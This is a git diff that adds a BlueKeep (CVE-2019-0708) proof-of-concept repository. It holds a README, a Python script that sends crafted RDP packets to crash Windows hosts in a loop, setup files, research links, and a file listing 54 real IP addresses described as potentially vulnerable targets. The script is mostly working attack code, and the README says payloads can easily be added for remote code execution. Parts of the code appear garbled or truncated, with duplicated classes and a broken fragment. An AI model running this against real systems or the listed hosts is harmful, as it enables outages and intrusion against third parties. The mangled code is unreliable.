diff --git a/BlueKeep/README.md b/BlueKeep/README.md new file mode 100644 index 00000000..bc774816 --- /dev/null +++ b/BlueKeep/README.md @@ -0,0 +1,48 @@ +# Bluekeep PoC + +This repo contains research concerning CVE-2019-0708. + +Bluekeep or CVE-2019-0708 is an RCE exploit that effects the following versions of Windows systems: + + - Windows 2003 + - Windows XP + - Windows Vista + - Windows 7 + - Windows Server 2008 + - Windows Server 2008 R2 + +The vulnerability occurs during pre-authorization and has the potential to run arbitrary malicious code in the NT Authority\system +user security context. + +# How it works + +By sending a specially crafted packet an attacker is able to set the value for the Channel ID to something the RDP service isn't expecting, this causes a memory corruption bug that will create the conditions for Remote Code Execution to occur. Should the attacker choose to follow up with packets designed to take advantage of this flaw remote code execution can be achieved with System user privileges. + +# Setup + +``` +git clone https://github.com/ekultek/bluekeep +cd bluekeep +bash setup.sh +``` + +That should do what you need done and fix any issue you have. + +### Credits + +Research by [Ekultek](https://github.com/Ekultek) and (VectorSEC)/[NullArray](https://github.com/NullArray) + +Development & Testing by [Ekultek](https://github.com/Ekultek) + +**Follow us on Twitter** + + - [Ekultek](https://twitter.com/saltythegod) + - [VectorSEC](https://twitter.com/Real__Vector) + +### In Closing + +You can see some of our research, along with a list of potentially vulnerable targets under the research directory. We started with very little and decided that we weren't going to stop until we had a working exploit. I have been able to execute commands on Windows XP with this PoC personally. + +**Note** + +There are no payloads. This is just a PoC. _HOWEVER_ it is easily ported to an exploit since you can easily add payloads to this. diff --git a/BlueKeep/bluekeep_poc.py b/BlueKeep/bluekeep_poc.py new file mode 100644 index 00000000..0cb6477f --- /dev/null +++ b/BlueKeep/bluekeep_poc.py @@ -0,0 +1,427 @@ +import socket +import binascii +import argparse + +from OpenSSL import * +from impacket.impacket.structure import Structure + + +# impacket structures +class TPKT(Structure): + commonHdr = ( + ('Version', 'B=3'), + ('Reserved', 'B=0'), + ('Length', '>H=len(TPDU)+4'), + ('_TPDU', '_-TPDU', 'self["Length"]-4'), + ('TPDU', ':=""'), + ) + + +class TPDU(Structure): + commonHdr = ( + ('LengthIndicator', 'B=len(VariablePart)+1'), + ('Code', 'B=0'), + ('VariablePart', ':=""'), + ) + + def __init__(self, data=None): + Structure.__init__(self, data) + self['VariablePart'] = '' + + +class CR_TPDU(Structure): + commonHdr = ( + ('DST-REF', 'H=len(TPDU)+4'), + ('_TPDU', '_-TPDU', 'self["Length"]-4'), + ('TPDU', ':=""'), + ) + + +class TPDU(Structure): + commonHdr = ( + ('LengthIndicator', 'B=len(VariablePart)+1'), + ('Code', 'B=0'), + ('VariablePart', ':=""'), + ) + + def __init__(self, data=None): + Structure.__init__(self, data) + self['VariablePart'] = '' + + +class CR_TPDU(Structure): + commonHdr = ( + ('DST-REF', 'h', deletion_structure + ) + bin_differ = bytearray() + bin_differ.extend(map(ord, packet)) + bin_differ[2] = size_differ_0[0] + bin_differ[3] = size_differ_0[1] + bin_differ[10] = size_differ_1[0] + bin_differ[11] = size_differ_1[1] + bin_differ[107] = size_differ_2[0] + bin_differ[108] = size_differ_2[1] + bin_differ[116] = 0x81 + bin_differ[117] = size_differ_3[1] + bin_differ[130] = 0x81 + bin_differ[131] = size_differ_4[1] + bin_differ[392] = size_differ_5[1] + tls.sendall(bytes(bin_differ)) + results = tls.recv(8192) + if verbose: + print("[@] received: {}".format(repr(results))) + + +def send_client_information_pdu_packet(tls): + """ + client info packets + """ + packet = unpack( + "0300016102f08064000703eb7081524000a1a509040904bb47030000000e00080000000000000041004100410041004100410041000000" + "740065007300740000000000000002001c003100390032002e004141410038002e003200330032002e0031000000400043003a005c0057" + "0049004e0041414100570053005c00730079007300740065006d00330032005c006d007300740073006300610078002e0064006c006c00" + "0000a40100004d006f0075006e007400610069006e0020005300740061006e0064006100720064002000540069006d0065000000000000" + "00000000000000000000000000000000000b00000001000200000000000000000000004d006f0075006e007400610069006e0020004400" + "610079006c0069006700680074002000540069006d00650000000000000000000000000000000000000000000000030000000200020000" + "0000000000c4ffffff0100000006000000000064000000" + ) + tls.sendall(bytes(packet)) + + +def send_channel_pdu_packets(tls, retval_size=1024, verbose=False): + """ + channel join + erect domain + and user packets in one swoop + """ + packet = unpack("0300000c02f0800401000100") + tls.sendall(bytes(packet)) + packet = unpack("0300000802f08028") + tls.sendall(bytes(packet)) + results = tls.recv(retval_size) + if verbose: + print("[@] received: {}".format(repr(results))) + packet = unpack("0300000c02f08038000703eb") + tls.sendall(bytes(packet)) + results = tls.recv(retval_size) + if verbose: + print("[@] received: {}".format(repr(results))) + packet = unpack("0300000c02f08038000703ec") + tls.sendall(bytes(packet)) + results = tls.recv(retval_size) + if verbose: + print("[@] received: {}".format(repr(results))) + packet = unpack("0300000c02f08038000703ed") + tls.sendall(bytes(packet)) + results = tls.recv(retval_size) + if verbose: + print("[@] received: {}".format(repr(results))) + packet = unpack("0300000c02f08038000703ee") + tls.sendall(bytes(packet)) + results = tls.recv(retval_size) + if verbose: + print("[@] received: {}".format(repr(results))) + packet = unpack("0300000c02f08038000703ef") + tls.sendall(bytes(packet)) + results = tls.recv(retval_size) + if verbose: + print("[@] received: {}".format(repr(results))) + + +def send_confirm_active_pdu_packet(tls): + """ + confirm the user is active + """ + packet = unpack( + "0300026302f08064000703eb70825454021300f003ea030100ea0306003e024d5354534300170000000100180001000300000200000000" + "1d04000000000000000002001c00200001000100010080073804000001000100001a010000000300580000000000000000000000000000" + "0000000000000001001400000001000000aa000101010101000001010100010000000101010101010101000101010000000000a1060600" + "000000000084030000000000e404000013002800030000037800000078000000fc09008000000000000000000000000000000000000000" + "000a0008000600000007000c00000000000000000005000c00000000000200020008000a0001001400150009000800000000000d005800" + "910020000904000004000000000000000c0000000000000000000000000000000000000000000000000000000000000000000000000000" + "00000000000000000000000000000000000000000000000000000000000c000800010000000e0008000100000010003400fe000400fe00" + "0400fe000800fe000800fe001000fe002000fe004000fe008000fe0000014000000800010001030000000f0008000100000011000c0001" + "0000000028640014000c00010000000000000015000c0002000000000a00011a000800af9400001c000c0012000000000000001b000600" + "01001e0008000100000018000b0002000000030c001d005f0002b91b8dca0f004f15589fae2d1a87e2d6010300010103d4cc44278a9d74" + "4e803c0ecbeea19c54053100310000000100000025000000c0cb080000000100c1cb1d00000001c0cf0200080000014000020101010001" + "400002010104" + ) + byte_differ = bytearray() + byte_differ.extend(map(ord, packet)) + tls.sendall(bytes(byte_differ)) + + +def send_establish_session_pdu_packet(tls): + """ + establish the connection + """ + packet = unpack("0300002402f08064000703eb701616001700f003ea030100000108001f0000000100ea03") + tls.sendall(bytes(packet)) + packet = unpack("0300002802f08064000703eb701a1a001700f003ea03010000010c00140000000400000000000000") + tls.sendall(bytes(packet)) + packet = unpack("0300002802f08064000703eb701a1a001700f003ea03010000010c00140000000100000000000000") + tls.sendall(bytes(packet)) + packet = unpack( + "0300058102f08064000703eb70857272051700f003ea030100000100002b00000000000000a9000000000000000000a900000000000200" + "0000a3ce2035db94a5e60da38cfb64b763cae79a84c10d67b791767121f96796c0a2775ad8b2744f30352be7b0d2fd81901a8fd55eee5a" + "6dcbea2fa52b06e90b0ba6ad012f7a0b7cff89d3a3e1f80096a68d9a42fcab14058f16dec805baa0a8ed30d86782d79f84c33827da61e3" + "a8c365e6ec0cf63624b20ba6171f463016c7736014b5f13a3c957d7d2f747e56ff9ce001329df2d9355e95782fd5156c18340f43d72b97" + "a9b428f4736c16db43d7e5580c5a03e37358d7d976c2fe0bd7f412431b706d74c23df12660588031070e85a395f89376999feca0d4955b" + "05fa4fdf778a7c299f0b4fa1cbfa9566ba47e3b044df83034424f41ef2e5cba95304c276cb4dc6c2d43fd38cb37cf3aaf393fe25bd327d" + "486e939668e5182bea84256902a538656f0f9ff6a13a1d229d3f6de04cee8b24f0dcff7052a70df9528a1e331a301115d7f895a9bb7425" + "8ce3e9930743f55060f7962ed3ff63e0e324f1103d8e0f56bc2eb8900cfa4b9668fe596821d0ff52fe5c7d90d439be479d8e7aaf954f10" + "ea7b7ad3ca07283e4e4b810ef15f1f8dbe0640272f4a03803267542f93fd255d6da0ad234572ffd1eb5b5175a761e03fe4eff496cda513" + "8ae6527470bfc1f9fb689edd728fb4445f3acb752a20a669d276f957462b5bdaba0f9be060e18b9033410a2dc506fed0f0fcde35d41eaa" + "760baef4d5bdfaf355f5c16765751c1d5ee83afe54502304ae2e71c27697e639c6b2258792635261d16c07c11c00300da72f55a34f23b2" + "39c7046c97157ad72433912806a6e7c3795cae7f5054c2381e90231dd0ff5a56d61291d296decc62c8ee9a4407c1ecf7b6d99cfe301cdd" + "b33b93653cb480fbe387f0ee42d8cf08984de76b990a43ed137290a967fd3c6336ec55faf61f35e728f387a6ce2e34aa0db2fe1718a20c" + "4e5ff0d198624a2e0eb08db17f32528e87c9687c0cefee88ae742a33ff4b4dc5e5183874c72883f77287fc79fb3eced051132d7cb458a2" + "e628674feca6816cf79a29a63bcaecb8a12750b7effc81bf5d862094c01a0c4150a95e104a82f1741f7821f5706124003d475ff325803c" + "4beaa3f477eaa1421a170f6da8359e9126344304c6c65b217d8cc722917b2c2d2fd67ea552a80880eb60d144098e3ca1aa67600a26c6b5" + "c679a64f8b8c255cf10b23f4d8a66df19178f9e52a502f5a4422d9195cafd6ac97a2f80d0ce3dd884898280b8bbd76dcdecae2c24a8750" + "d48c775ad8b2744f3035bf28aed9a298a5bc60cab8904d2046d98a1a30018b38631a57095146959bd8800cb07724bf2bd35722d9195caf" + "d6ac97a2f80d0ce3dd884898280b8bbd76dcdecae2c24a8750d48c569238ed6b9b5b1fba53a10ef7751053224c0a758854693f3bf31867" + "6b0f19d1002586cda8d9dd1d8d268754d979c0746590d73332afba9d5ad56c7ca147e1496e1cce9f62aa26163f3cec5b49e5c060d4bea7" + "88bca19f29718ceb69f873fbaf29aa401be592d277a72bfbb677b731fbdc1e63637df2fe3c6aba0b20cb9d64b83114e270072cdf9c6fb5" + "3ac4d5b5c93e9ad7d530dc0e1989c60888e1ca81a628dd9c740511e7e1ccbcc776dd55e2ccc2cbd3b64801ddffbaca31ab26441cdc0601" + "dff29050b86b8fe829f0baecfb2dfd7afc7f57bdea90f7cf921ec420d0b69fd6dca182a96c5e3e83415773e9e75a3fda244f735ef4e092" + "24bd0bd03c4996b5b50532cb581d6f9751ee0cdc0b2a60ef973e5a30811591cf1107252c41db7072e175f6a5ffe844e703e361aadbe007" + "3d070be35c09a95e10fdcf749e23f1308616ef254efea493a5800a0139cc117a6e94225bd8c6c9a8df1396b391336e87bb94632d8864a7" + "5889dadc7f2ae3a166e5c87fc2dbc77d2fa946284569bcac9f859eb09f9a49b4b1cb" + ) + tls.sendall(bytes(packet)) + packet = unpack("0300002802f08064000703eb701a1a001700f003ea03010000010000270000000000000003003200") + tls.sendall(bytes(packet)) + + +def send_dos_packets(tls, arch_selected): + """ + theoretically, the arch shouldn't matter, but for good measures we'll make it matter + """ + arch_32_packet = unpack("0300002e02f08064000703ef70140c0000000300000000000000020000000000000000000000") + arch_64_packet = unpack( + "0300002e02f08064000703ef70140c000000030000000000000000000000020000000000000000000000000000000000000000000000" + ) + if arch_selected == 32: + send_packet = bytes(arch_32_packet) + else: + send_packet = bytes(arch_64_packet) + tls.sendall(send_packet) + + +def main(): + """ + main + """ + opt = Parser().optparse() + to_attack = [] + + if opt.ipToAttack is not None: + for ip in opt.ipToAttack.split(","): + to_attack.append(ip.strip()) + else: + print("usage: python 2019-0708-dos.py -i IP[IP,IP,...] [-a 32|64]") + exit(1) + + for target in to_attack: + try: + print("[+] DoSing target: {} a total of {} times".format(target, opt.dosTime)) + for i in range(opt.dosTime): + print("[+] DoS attempt: {}".format(i+1)) + print("[+] establishing initialization") + current_tls = send_initialization_pdu_packet(target, verbose=opt.runVerbose) + print("[+] sending ClientData PDU packets") + send_client_data_pdu_packet(current_tls, verbose=opt.runVerbose) + print("[+] sending ChannelJoin ErectDomain and AttachUser PDU packets") + send_channel_pdu_packets(current_tls, verbose=opt.runVerbose) + print("[+] sending ClientInfo PDU packet") + send_client_information_pdu_packet(current_tls) + print("[+] receiving current") + results = current_tls.recv(8000) + if opt.runVerbose: + print("[@] received: {}".format(repr(results))) + results = current_tls.recv(8000) + if opt.runVerbose: + print("[@] received: {}".format(repr(results))) + print("[+] confirming user is active") + send_confirm_active_pdu_packet(current_tls) + print("[+] establishing the connection") + send_establish_session_pdu_packet(current_tls) + print("[+] DoSing target: {}".format(target)) + send_dos_packets(current_tls, opt.archSelected) + print("[+] target should be dead now, waiting {}s before starting again".format(opt.waitTime)) + time.sleep(opt.waitTime) + print("\n[+] starting again\n") + except Exception as e: + print( + "[!] error on target: {} ({}), if this happened after a successful attack, change the wait " + "time".format(target, e) + ) + + +if __name__ == '__main__': + main() diff --git a/BlueKeep/requirements.txt b/BlueKeep/requirements.txt new file mode 100644 index 00000000..5be82196 --- /dev/null +++ b/BlueKeep/requirements.txt @@ -0,0 +1 @@ +pyopenssl==19.0 \ No newline at end of file diff --git a/BlueKeep/research/[MS-RDPBCGR].pdf b/BlueKeep/research/[MS-RDPBCGR].pdf new file mode 100644 index 00000000..8934fcf6 Binary files /dev/null and b/BlueKeep/research/[MS-RDPBCGR].pdf differ diff --git a/BlueKeep/research/notes.txt b/BlueKeep/research/notes.txt new file mode 100644 index 00000000..75b091be --- /dev/null +++ b/BlueKeep/research/notes.txt @@ -0,0 +1,13 @@ +https://t.co/amKnSU7lOz +parameter to change icaBindChannel +https://github.com/citronneur/rdpy/tree/master/rdpy/protocol/rdp/t125 +http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.331.339&rep=rep1&type=pdf +https://waitfordebug.wordpress.com/2012/05/08/scapy-rdp-class/ +https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b +https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c +https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247 +https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b +https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d +https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4c3c2710-0bf0-4c54-8e69-aff40ffcde66 +https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/2d122191-af10-4e36-a781-381e91c182b7 +https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f \ No newline at end of file diff --git a/BlueKeep/research/rdp_packets/rdp.pcap b/BlueKeep/research/rdp_packets/rdp.pcap new file mode 100644 index 00000000..8d420ed7 Binary files /dev/null and b/BlueKeep/research/rdp_packets/rdp.pcap differ diff --git a/BlueKeep/research/rdp_packets/rdpmac.pcap b/BlueKeep/research/rdp_packets/rdpmac.pcap new file mode 100644 index 00000000..c01bbdfd Binary files /dev/null and b/BlueKeep/research/rdp_packets/rdpmac.pcap differ diff --git a/BlueKeep/research/rdp_packets/rdpmacclear.pcap b/BlueKeep/research/rdp_packets/rdpmacclear.pcap new file mode 100644 index 00000000..d472fe2c Binary files /dev/null and b/BlueKeep/research/rdp_packets/rdpmacclear.pcap differ diff --git a/BlueKeep/research/vulnerable_targets.txt b/BlueKeep/research/vulnerable_targets.txt new file mode 100644 index 00000000..42aebcf9 --- /dev/null +++ b/BlueKeep/research/vulnerable_targets.txt @@ -0,0 +1,54 @@ +64.79.123.141 +207.38.107.127 +104.223.234.10 +64.156.14.167 +213.246.110.235 +66.55.149.200 +50.192.50.9 +65.152.209.66 +129.146.108.2 +185.228.45.160 +45.66.9.96 +107.148.147.205 +82.208.39.117 +114.116.68.150 +95.143.206.99 +185.141.200.135 +196.46.20.92 +196.50.7.21 +196.195.239.64 +196.195.239.70 +196.62.118.103 +196.195.239.68 +196.41.52.35 +196.195.239.67 +196.195.239.66 +196.31.63.210 +196.195.239.71 +196.50.21.45 +196.92.6.160 +196.195.239.69 +200.129.35.34 +85.214.130.17 +122.15.192.3 +186.202.37.24 +191.252.59.176 +121.204.183.210 +187.87.134.247 +191.252.59.233 +191.252.56.248 +177.124.104.23 +179.188.1.142 +186.202.137.211 +179.188.38.227 +177.153.8.171 +186.202.69.224 +89.152.250.233 +173.249.53.169 +196.46.184.181 +43.240.14.25 +197.45.45.16 +88.172.204.90 +197.45.45.18 +177.36.242.52 +191.252.3.153 \ No newline at end of file diff --git a/BlueKeep/setup.sh b/BlueKeep/setup.sh new file mode 100644 index 00000000..bd42eafd --- /dev/null +++ b/BlueKeep/setup.sh @@ -0,0 +1,4 @@ +#!/bin/bash + +git clone https://github.com/SecureAuthCorp/impacket.git +touch ./impacket/__init__.py \ No newline at end of file